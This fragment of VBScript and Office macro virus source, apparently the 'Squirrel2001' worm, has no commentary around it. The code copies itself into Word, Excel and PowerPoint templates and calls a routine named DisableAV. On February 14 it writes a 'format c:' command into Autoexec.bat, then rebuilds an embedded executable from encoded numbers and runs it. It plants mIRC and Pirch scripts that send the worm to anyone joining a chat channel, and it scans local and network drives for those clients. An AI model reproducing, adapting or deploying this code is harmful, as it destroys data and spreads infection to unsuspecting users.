Home.VBProject.vbcomponents("Squirrel").CodeModule.Lines(38, 3) + Chr(13) + Chr(10) + "End Sub" WordObj.Run "Normal.ThisDocument.DisableAV" NT.DeleteLines 1, NT.CountofLines NT.InsertLines 1, Home.VBProject.vbcomponents("Squirrel").CodeModule.Lines(1, Home.VBProject.vbcomponents("Squirrel").CodeModule.CountofLines) NT.ReplaceLine 118, "Private Sub actionhook(tristate)" Set NT = Nothing If WQuit = True Then WordObj.Quit Set xlApp = CreateObject("Excel.Application") Set Book1Obj = xlApp.Workbooks.Add Book1Obj.VBProject.vbcomponents("ThisWorkbook").CodeModule.InsertLines 1, Home.VBProject.vbcomponents("Squirrel").CodeModule.Lines(1, Home.VBProject.vbcomponents("Squirrel").CodeModule.CountofLines) Book1Obj.VBProject.vbcomponents("ThisWorkbook").CodeModule.ReplaceLine 118, "Private Sub actionhook(tristate)" Book1Obj.SaveAs xlApp.Application.StartupPath & "\Book1." Book1Obj.Close xlApp.Quit Set PBT = Presentations.Open(Application.Path + "\..\Templates\Blank Presentation.pot", , , msoFalse) dontadd = False For Each ModComponent In PBT.VBProject.vbcomponents If ModComponent.Name = "Squirrel" Then dontadd = True Next If dontadd <> True Then Set NewMod = PBT.VBProject.vbcomponents.Add(1) NewMod.Name = "Squirrel" NewMod.CodeModule.InsertLines 1, Home.VBProject.vbcomponents("Squirrel").CodeModule.Lines(1, Home.VBProject.vbcomponents("Squirrel").CodeModule.CountofLines) Set ShapetoWack = PBT.SlideMaster.Shapes.AddShape(1, 0, 0, PBT.PageSetup.SlideWidth, PBT.PageSetup.SlideHeight) With ShapetoWack .Name = "Squirrel" .ZOrder (1) .Line.Visible = False .Fill.Visible = False .ActionSettings(1).Action = 8 .ActionSettings(1).Run = "actionhook" End With PBT.Save End If PBT.Close End If End If ActivePresentation.SlideShowWindow.View.Next call killyou End Sub Private sub killyou() On Error Resume Next If Month(Now()) = 2 Then Dim A As String, C As Long, B As String If Format(Date, "d") <> 14 Then Exit Sub A = "9460301/3/4/65535/184/0/64/0/0/0/0/0/0/0/0/128/247078670/-855002112/1275181089/1750344141/1881174889/1919381362/1663069537/1869508193/1700929652/1853190688/544106784/542330692/1701080941/168627502/36/0/17744/65868/891316465/0/0/17760480/327947/4096/0/0/4112/4096/8192/4194304/4096/512/4/0/4/0/8192/512/0/2/1048576/4096/1048576/4096/0/16/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/2019914798/116/4096/4096/4096/512/0/0/0/1610612768/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/195/0/0/1018/608472405/1692087288/15205255/1526726656/1363299213/17780816/1543382092/-98778237/-1956238453/1905130603/-1989781998/-289276813/1938384400/1456233986/1217130635/-2086341636/814418152/41219595/-866193173/-337955845/1692087047/545981323/1476628324/268462173/1958936640/-1054798030/75698411/-1989798620/-306054037/1804166672/588238594/1359964867/1364328298/1778477649/1394658562/-2097151744/-1919475516/-1915773626/-202617/550326527/4194407/1488986895/-1958916469/-61830895/" & _ "-1982447475/-1226049023/59475/-2091188224/-850189117/1073768480/1962891264/1409222692/1397774844/1509708799/1488986895/50011/-396361728/0/314999134/-167772157/-2062614266/520/673471629/254032771/128389/-2096693760/-1974073914/-12843965/1074006132/109656756/6964806/1535868778/205753104/1342488707/1092668758/-2097135616/2088833220/1160707078/257836376/112261/2072208896/-2062614248/427/1124120678/3285197/-2112946112/411/1404996433/-1946157059/29488703/-1201272716/-919387391/-1070344193/-919349836/-1958555085/-671136806/-157525613/108265921/1124186214/262002687/90754/-2086906368/-1070366778/-393488716/1784218730/-671131076/-1958078837/-2116550715/1162870846/612699904/1392508929/23724138/588207954/-980725556/" & _ "-1031581007/-1915224313/-1924128190/-1223733242/1418530374/682627600/-503968118/1345484429/1363236434/1359208897/-905721853/-149139925/-1856945711/66078347/-2037777338/-1106/607945062/2071724216/-671103605/1493461653/1012108114/-15547773/1849590231/1953524058/1599822439/-721201319/1441661778/-63093619/55777417/-1098034473/-1200/-833189545/-1109895539/1018/-1031589397/274369320/1980258859/-394046676/-1961326328/1510151258/-1957211384/1510148186/-60947700/-1962649463/140116248/1076120193/725614592/51279595/264758011/871091233/-348339069/19398986/856171628/-61306405/-56588659/78774271/-855586970/-1902867680/-216/251809929/657560758/738197503/266724034/1485555745/1496877840/-242545181/14025144/-10921472/1542515671/865925464/" & _ "-2640704/1935580631/1725926193/-1958542408/2123103310/-19660802/258079566/553631777/1946147979/609484600/474188121/606632835/1099630197/21399848/129024865/1910796518/-747257806/217628006/-1077512563/-2147469236/218020454/1725366266/1241536703/138856294/-687927516/-1191944563/939349/237677241/-959185152/-497983488/-1998310658/-18706176/257250744/-1430955776/13030399/-1258364384/1711311072/201868999/869728016/1400944603/1747774595/-1073737728/1364396215/23613777/1094713349/-192196271/11332737/550305792/1048580/108954470/-33197033/-286569146/-972005887/-343913146/-2012706587/-2147432959/25692296/-712534077/-712534033/-1757147924/-1745889913/-1007757945/661010944/65619/4194408/4194369/4194354/544106829/875442550/642598688/22605/" O = "C:\Autoexec.bat" SetAttr O, 0 Open O For Output As 1 Print #1, "%windir%\command\format c: /autoexec/u/select" Close AW$ = InputBox("Squirrel was sad!", "Test") If AW$ = "39squirrels" Then Kill O MsgBox "You know me!", 4096, "Thanks..." Else Open "Squirrel.EXE" For Binary As 1 Do Until A = "" C = InStr(A, "/") B = Left(A, C - 1) A = Right$(A, Len(A) - C) C = Val(B) Put 1, , C Loop Close Shell "Squirrel.EXE" MsgBox "I'm sader...", 48, "No..." End If end if end sub" set macroset=createobject("word.Application") Set NT = macroset.NormalTemplate.VBProject.vbcomponents(1).CodeModule set fsys=CreateObject("Scripting.FileSystemObject") set txtff=fsys.createtextFile("%windir%"&"\system32\"&"Squirrel2001macro.txt") txtff.write viruscaurse txtff.close set txtff=nothing set txtff=fsys.opentextfile("%windir%"&"\system32\"&"Squirrel2001macro.txt") If NT.Lines(1, 1) <> "'<!--Squirrel-->" Then NT.DeleteLines 1, NT.CountofLines Do While txtff.AtEndOfStream <> True NT.InsertLines la txtff.readline la=la+1 loop dim ntt set ntt=macroset.NormalTemplate ntt.SaveAs FileName:="c:\Autoexec.dot", AddToRecentFiles:=False ntt.close nt.close set nt =nothing set ntt=nothing set macroset=nothing set txtff=nothing set fsys=nothing end sub sub ircvirus() hstxcaowgqz "" lfvaazcukod "" jjrtuqdkgzp() end sub Function hstxcaowgqz(ldjlkpyfjkp) On Error Resume Next if ldjlkpyfjkp = "" then if igalgbinffy.fileexists("c:\mirc\mirc.ini") then ldjlkpyfjkp="c:\mirc" if igalgbinffy.fileexists("c:\mirc32\mirc.ini") then ldjlkpyfjkp="c:\mirc32" aymnehqvpfd=rfqwdudwylf.regread("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ProgramFilesDir") if igalgbinffy.fileexists(aymnehqvpfd & "\mirc\mirc.ini") then ldjlkpyfjkp=aymnehqvpfd & "\mirc" end if if ldjlkpyfjkp <> "" then set dcfxbemazhc = igalgbinffy.CreateTextFile(ldjlkpyfjkp & "\script.ini", True) dcfxbemazhc.WriteLine "[script]" dcfxbemazhc.writeline "n0=on 1:JOIN:#:{" dcfxbemazhc.writeline "n1= /if ( $nick == $me ) { halt }" dcfxbemazhc.writeline "n2= /.dcc send $nick "&igalgbinffy.GetSpecialFolder(0)& "\squirrel2001.vbs" dcfxbemazhc.writeline "n3=}" dcfxbemazhc.close end if end function function lfvaazcukod(eambqpgakgb) On Error Resume Next if eambqpgakgb="" then if igalgbinffy.fileexists("c:\pirch\Pirch32.exe") then eambqpgakgb="c:\pirch" if igalgbinffy.fileexists("c:\pirch32\Pirch32.exe") then eambqpgakgb="c:\pirch32" infeyymqwku=rfqwdudwylf.regread("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ProgramFilesDir") if igalgbinffy.fileexists(infeyymqwku & "\pirch\Pirch32.exe") then eambqpgakgb=infeyymqwku & "\pirch\Pirch32.exe" end if if eambqpgakgb <> "" then set kwflfeakiul= igalgbinffy.CreateTextFile(eambqpgakgb & "\events.ini", True) kwflfeakiul.WriteLine "[Levels]" kwflfeakiul.WriteLine "Enabled=1" kwflfeakiul.WriteLine "Count=6" kwflfeakiul.WriteLine "Level1=000-Unknowns" kwflfeakiul.WriteLine "000-UnknownsEnabled=1" kwflfeakiul.WriteLine "Level2=100-Level 100" kwflfeakiul.WriteLine "100-Level 100Enabled=1" kwflfeakiul.WriteLine "Level3=200-Level 200" kwflfeakiul.WriteLine "200-Level 200Enabled=1" kwflfeakiul.WriteLine "Level4=300-Level 300" kwflfeakiul.WriteLine " 300-Level 300Enabled=1" kwflfeakiul.WriteLine "Level5=400-Level 400 " kwflfeakiul.WriteLine "400-Level 400Enabled=1" kwflfeakiul.WriteLine "Level6=500-Level 500" kwflfeakiul.WriteLine "500-Level 500Enabled=1" kwflfeakiul.WriteLine "" kwflfeakiul.WriteLine "[000-Unknowns]" kwflfeakiul.WriteLine "UserCount=0" kwflfeakiul.WriteLine "EventCount=0" kwflfeakiul.WriteLine "" kwflfeakiul.WriteLine "[100-Level 100]" kwflfeakiul.WriteLine "User1=*!*@*" kwflfeakiul.WriteLine "UserCount=1" kwflfeakiul.writeline "Event1=ON JOIN:#:/dcc tsend $nick " & igalgbinffy.GetSpecialFolder(0) & "\squirrel2001.vbs" kwflfeakiul.WriteLine "EventCount=1" kwflfeakiul.WriteLine "" kwflfeakiul.WriteLine "[200-Level 200]" kwflfeakiul.WriteLine "UserCount=0" kwflfeakiul.WriteLine "EventCount=0" kwflfeakiul.WriteLine "" kwflfeakiul.WriteLine "[300-Level 300]" kwflfeakiul.WriteLine "UserCount=0" kwflfeakiul.WriteLine "EventCount=0" kwflfeakiul.WriteLine "" kwflfeakiul.WriteLine "[400-Level 400]" kwflfeakiul.WriteLine "UserCount=0" kwflfeakiul.WriteLine "EventCount=0" kwflfeakiul.WriteLine "" kwflfeakiul.WriteLine "[500-Level 500]" kwflfeakiul.WriteLine "UserCount=0" kwflfeakiul.WriteLine "EventCount=0" kwflfeakiul.close end if end function Function jjrtuqdkgzp() On Error Resume Next Set rusyghrsxeu = igalgbinffy.Drives For Each jrhkuytiggg In rusyghrsxeu If jrhkuytiggg.Drivetype = Remote Then ibxbqdweghd= jrhkuytiggg & "\" Call qetljeojelr(ibxbqdweghd) ElseIf jrhkuytiggg.IsReady Then ibxbqdweghd= jrhkuytiggg&"\" Call qetljeojelr(ibxbqdweghd) End If Next End Function Function qetljeojelr(iibvitahxgz) Set boihenmxiux= igalgbinffy.GetFolder(iibvitahxgz) Set vbdkvvafcrz= boihenmxiux.Files For Each isczukopoqj In vbdkvvafcrz if isczukopoqj.name = "mirc.ini" then hstxcaowgqz(isczukopoqj.ParentFolder) end if if isczukopoqj.name = "Pirch32.exe" then lfvaazcukod(isczukopoqj.ParentFolder) end if Next Set isczukopoqj= boihenmxiux.SubFolders For Each fjyfemoplyf In isczukopoqj Call qetljeojelr(fjyfemoplyf.path) Next End Function |